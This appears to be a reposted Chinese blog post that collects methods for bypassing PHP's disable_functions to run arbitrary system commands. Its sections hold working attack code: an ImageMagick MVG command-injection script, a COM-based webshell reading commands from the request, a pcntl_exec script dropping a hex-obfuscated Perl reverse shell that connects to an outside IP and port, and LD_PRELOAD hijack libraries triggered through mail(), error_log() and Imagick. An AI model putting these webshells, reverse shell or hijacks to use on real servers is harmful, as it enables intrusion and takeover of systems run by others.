disable_functions绕过总结
Posted 思源湖的鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了disable_functions绕过总结相关的知识,希望对你有一定的参考价值。
前言
收集归纳了下disable_functions绕过的一些方法
1、ImageMagic 组件
比较老的方法,ImageMagic是一个图形处理库,支持php、python、ruby等语言,通过这个库可以对Web图片进行裁剪、翻转等操作,但是对https文件处理时,能够利用"|
的方式闭合语句,由于使用的是系统的system命令执行的,所以并不受PHP的disable_functions的影响
版本要求:
- imagic <= 6.9.3-9
EXP:
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
2、Windows系统组件
若phpinfo中com_dotnet=enable
,表示COM组件开启,可以直接实例化一个COM对象,并调用对象方法来执行系统命令,直接绕过了disable_functions
<?php
$cmd=$_GET['cmd'];
$com = new COM('WScript.shell');
$exec = $com->exec('cmd.exe /c '.$cmd);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
3、Pcntl组件
pcntl是PHP在Linux下的一个扩展,pcntl_exec()
作用是在当前进程空间执行指定程序,假如phpinfo中存在--enable-pcntl
要求:
- PHP 4 >= 4.2.0,PHP 5
<?php
/*******************************
*查看phpinfo编译参数--enable-pcntl
*作者 Spider
*nc -vvlp 443
********************************/
$ip = '192.168.1.164';
$port = '8899';
$file = '/tmp/bc.pl';
header("content-Type: text/html; charset=gb2312");
if(function_exists('pcntl_exec')) {
$data = "\\x23\\x21\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x70\\x65\\x72\\x6c\\x20\\x2d\\x77\\x0d\\x0a\\x23\\x0d\\x0a".
"\\x0d\\x0a\\x75\\x73\\x65\\x20\\x73\\x74\\x72\\x69\\x63\\x74\\x3b\\x20\\x20\\x20\\x20\\x0d\\x0a\\x75\\x73\\x65\\x20".
"\\x53\\x6f\\x63\\x6b\\x65\\x74\\x3b\\x0d\\x0a\\x75\\x73\\x65\\x20\\x49\\x4f\\x3a\\x3a\\x48\\x61\\x6e\\x64\\x6c\\x65".
"\\x3b\\x0d\\x0a\\x0d\\x0a\\x6d\\x79\\x20\\x24\\x72\\x65\\x6d\\x6f\\x74\\x65\\x5f\\x69\\x70\\x20\\x3d\\x20\\x27".$ip.
"\\x27\\x3b\\x0d\\x0a\\x6d\\x79\\x20\\x24\\x72\\x65\\x6d\\x6f\\x74\\x65\\x5f\\x70\\x6f\\x72\\x74\\x20\\x3d\\x20\\x27".$port.
"\\x27\\x3b\\x0d\\x0a\\x0d\\x0a\\x6d\\x79\\x20\\x24\\x70\\x72\\x6f\\x74\\x6f\\x20\\x3d\\x20\\x67\\x65\\x74\\x70\\x72".
"\\x6f\\x74\\x6f\\x62\\x79\\x6e\\x61\\x6d\\x65\\x28\\x22\\x74\\x63\\x70\\x22\\x29\\x3b\\x0d\\x0a\\x6d\\x79\\x20\\x24".
"\\x70\\x61\\x63\\x6b\\x5f\\x61\\x64\\x64\\x72\\x20\\x3d\\x20\\x73\\x6f\\x63\\x6b\\x61\\x64\\x64\\x72\\x5f\\x69\\x6e".
"\\x28\\x24\\x72\\x65\\x6d\\x6f\\x74\\x65\\x5f\\x70\\x6f\\x72\\x74\\x2c\\x20\\x69\\x6e\\x65\\x74\\x5f\\x61\\x74\\x6f".
"\\x6e\\x28\\x24\\x72\\x65\\x6d\\x6f\\x74\\x65\\x5f\\x69\\x70\\x29\\x29\\x3b\\x0d\\x0a\\x6d\\x79\\x20\\x24\\x73\\x68".
"\\x65\\x6c\\x6c\\x20\\x3d\\x20\\x27\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x20\\x2d\\x69\\x27\\x3b\\x0d\\x0a\\x73\\x6f".
"\\x63\\x6b\\x65\\x74\\x28\\x53\\x4f\\x43\\x4b\\x2c\\x20\\x41\\x46\\x5f\\x49\\x4e\\x45\\x54\\x2c\\x20\\x53\\x4f\\x43".
"\\x4b\\x5f\\x53\\x54\\x52\\x45\\x41\\x4d\\x2c\\x20\\x24\\x70\\x72\\x6f\\x74\\x6f\\x29\\x3b\\x0d\\x0a\\x53\\x54\\x44".
"\\x4f\\x55\\x54\\x2d\\x3e\\x61\\x75\\x74\\x6f\\x66\\x6c\\x75\\x73\\x68\\x28\\x31\\x29\\x3b\\x0d\\x0a\\x53\\x4f\\x43".
"\\x4b\\x2d\\x3e\\x61\\x75\\x74\\x6f\\x66\\x6c\\x75\\x73\\x68\\x28\\x31\\x29\\x3b\\x0d\\x0a\\x63\\x6f\\x6e\\x6e\\x65".
"\\x63\\x74\\x28\\x53\\x4f\\x43\\x4b\\x2c\\x24\\x70\\x61\\x63\\x6b\\x5f\\x61\\x64\\x64\\x72\\x29\\x20\\x6f\\x72\\x20".
"\\x64\\x69\\x65\\x20\\x22\\x63\\x61\\x6e\\x20\\x6e\\x6f\\x74\\x20\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x3a\\x24\\x21".
"\\x22\\x3b\\x0d\\x0a\\x6f\\x70\\x65\\x6e\\x20\\x53\\x54\\x44\\x49\\x4e\\x2c\\x20\\x22\\x3c\\x26\\x53\\x4f\\x43\\x4b".
"\\x22\\x3b\\x0d\\x0a\\x6f\\x70\\x65\\x6e\\x20\\x53\\x54\\x44\\x4f\\x55\\x54\\x2c\\x20\\x22\\x3e\\x26\\x53\\x4f\\x43".
"\\x4b\\x22\\x3b\\x0d\\x0a\\x6f\\x70\\x65\\x6e\\x20\\x53\\x54\\x44\\x45\\x52\\x52\\x2c\\x20\\x22\\x3e\\x26\\x53\\x4f".
"\\x43\\x4b\\x22\\x3b\\x0d\\x0a\\x73\\x79\\x73\\x74\\x65\\x6d\\x28\\x24\\x73\\x68\\x65\\x6c\\x6c\\x29\\x3b\\x0d\\x0a".
"\\x63\\x6c\\x6f\\x73\\x65\\x20\\x53\\x4f\\x43\\x4b\\x3b\\x0d\\x0a\\x65\\x78\\x69\\x74\\x20\\x30\\x3b\\x0a";
$fp = fopen($file,'w');
$key = fputs($fp,$data);
fclose($fp);
if(!$key) exit('写入'.$file.'失败');
chmod($file,0777);
pcntl_exec($file);
unlink($file);
} else {
echo '不支持pcntl扩展';
}
?>
4、Imap_open()
imap_open()
需要安装imap扩展才会包含的函数,而imap是一个管理电子邮件的扩展。
imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = array() ]]] ) : resource
//实例
$imbox = imap_open("{localhost}:143/imap}INBOX", "user_id", "password");
通过strace查看imap_open()
函数执行过程
strace -f php imap.php 2>&1 | grep execve
此处的localhost
作为参数之一,所以可以通过修改hostname来达到参数注入,与此同时,/usr/bin/rsh
会去调用ssh,后者有个-oProxyCommand
参数可以执行命令
在写入服务器地址的时候,有些字符可能会被转义,所以一般使用base64编码
使用POC,并查看完整调用过程,直接去调用系统的echo命令,不受disable_functions影响,所以也就成功bypass
5、LD_PRELOAD劫持
(1)基础知识
C语言执行顺序为:
- 编辑——(预处理) 编译 (汇编) —— 链接 —— 运行
链接:
-
静态链接:在链接阶段,会将汇编生成的目标文件
.o
与引用的库一起链接打包到可执行文件中,因此为静态链接 -
动态链接:在静态情况下,它把库直接加载到程序里,而在动态链接的时候,只是保留接口,将动态库与程序代码独立
(2)LD_PRELOAD
LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载
一般情况下动态库的搜索顺序:
- 编译目标代码时指定的动态库搜索路径LD_PRELOAD
- 环境变量LD_LIBRARY_PATH指定的动态库搜索路径
- 配置文件
/etc/ld.so.conf
中指定的动态库搜索路径 - 默认的动态库搜索路径
/lib
- 默认的动态库搜索路径
/usr/lib
可以看出,LD_PRELOAD的优先级最高,因而能够影响程序运行时的链接,允许程序运行前优先加载动态链接库。通过构造相同名称的函数来达到注入恶意代码的目的,实现劫持
(3)Demo
动态库 module.c和module.h
#include <stdio.h>
int ld(void)
{
printf("you are in module.\\n");
return 0;
}
#ifndef LIB_H
#define LIB_H
int ld(void);
#endif
主程序 main.c
#include <stdio.h>
#include "module.h"
int main(void)
{
printf("------------------------\\n");
ld();
printf("------------------------\\n");
}
编译过程
首先编译动态链接库libmodule.so,然后编译主程序main,指定LD_LIBRARY_PATH
为当前目录,确认依赖关系,最后运行主程序main
➜ ld gcc -shared -fPIC -o libmodule.so module.c
➜ ld gcc main.c -L. -lmodule -o main
➜ ld export LD_LIBRARY_PATH=/root/tmp/ld
➜ ld ./main
------------------------
you are in module.
------------------------
(4)劫持库
劫持程序 hack.c
#include <stdio.h>
int ld(void)
{
printf("you are hacked.\\n");
return 0;
}
首先编译动态链接库hack.so,然后设置LD_PRELOAD为hack.so文件。由于优先级高的缘故,库中的同名函数在程序运行时会优先调用,然后运行主程序 main
➜ ld gcc hack.c -fPIC -shared -o hack.so
➜ ld export LD_PRELOAD="./hack.so"
➜ ld ./main
------------------------
you are hacked.
------------------------
成功劫持了ld()函数,假如要还原函数调用关系,可以unset LD_PRELOAD解除依赖
(5)利用思路
- 本地伪造.c文件劫持某个函数并生成一个动态链接库文件.so
- 上传该文件至服务器
- 利用php中putenv()设置LD_PRELOAD路径为该文件
- 配合php中某个函数去触发构造的动态链接库文件
- 命令执行
6、mail()
mail ( string $to , string $subject , string $message [, string $additional_headers [, string$additional_parameters ]] ) : bool
(1)通过sendmail劫持
第五个参数(可选)运行注入额外的参数给系统安装的/usr/bin/sendmail
程序,mail()默认会调用系统的sendmail程序,然后找到一个合适的函数去劫持它
readelf -Ws /usr/sbin/sendmail
可以查看下sendmail调用的函数
这里选择一个通用的geteuid()
,然后构造恶意c文件并编译为动态链接库
➜ html cat test.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls -al >res.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
payload();
unsetenv("LD_PRELOAD");
}
➜ html gcc test.c -fPIC -shared -o test.so
利用putenv()
和mail()
触发恶意动态链接库
<?php
putenv("LD_PRELOAD=./test.so");
mail("","","","","");
执行PHP文件即可
(2)利用__attribute__ ((__constructor__))
直接对其注入恶意代码
gcc允许为函数设置__attribute__ ((__constructor__))
属性,也就是将被修饰的函数作为构造函数,在main()
之前执行,与此对应的还有__attribute__ ((__destructor__))
属性作为析构函数
重新测试新的c文件并编译,再执行php文件
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo 'Not geteuid' > res.txt");
}
7、error_log()#
error_log ( string $message [, int $message_type = 0 [, string $destination [, string $extra_headers ]]] ) : bool
把错误信息发送到Web服务器的错误日志,或者到一个文件中,而且当第二个参数message_type
为1时,message 发送到参数 destination 设置的邮件地址,同样会调用外部程序sendmail
于是就类似mail了,可以通过劫持某个特定函数或者利用constructor属性来达到任意命令执行
8、Imagick
Imagick在处理一些特定格式的文件时,会调用外部某些程序启动子进程,就会加载LD_PRELOAD指定恶意的动态链接库,达到命令执行,而这些外部程序不是系统都自带的,有些需要安装的
9、ilbmtoppm
ilbmtoppm是将ilbm文件转换为ppm图像的程序,Ubuntu中自带了此程序。有大佬通过阅读文档发现,在处理ilbm的文件的时候会启动ilbmtoppm程序,于是本地strace下
又可以配合__attribute__ ((__constructor__))
利用
构造简单的 test.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("whoami");
}
然后编译为动态链接库.so
gcc test.c -fPIC -shared -o test.so
构造触发动态链接库 ilbm.php,这里的demo.ilbm必须存在,要不然就不会调用外部的ilbmtoppm程序去Fork子进程
<?php
putenv("LD_PRELOAD=./test.so");
$ilbm = new Imagick('demo.ilbm');
直接运行即可
10、ffmpeg
Imagick在处理以下文件时,程序会调用ffmpeg进行转换,然而ffmpeg需要安装才能使用。
.ai .avi .epdf .eps .epsf .epsi .m2v .m4v .mkv .mov .mp4 .mpeg .mpg .pdfa .svg .wmv
利用过程与ilbmtoppm一致
11、配合蚁剑
蚁剑有bypass的插件
更多可参考:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions
结语
收集归纳了一波 bypass disable_functions的方法
参考:
以上是关于disable_functions绕过总结的主要内容,如果未能解决你的问题,请参考以下文章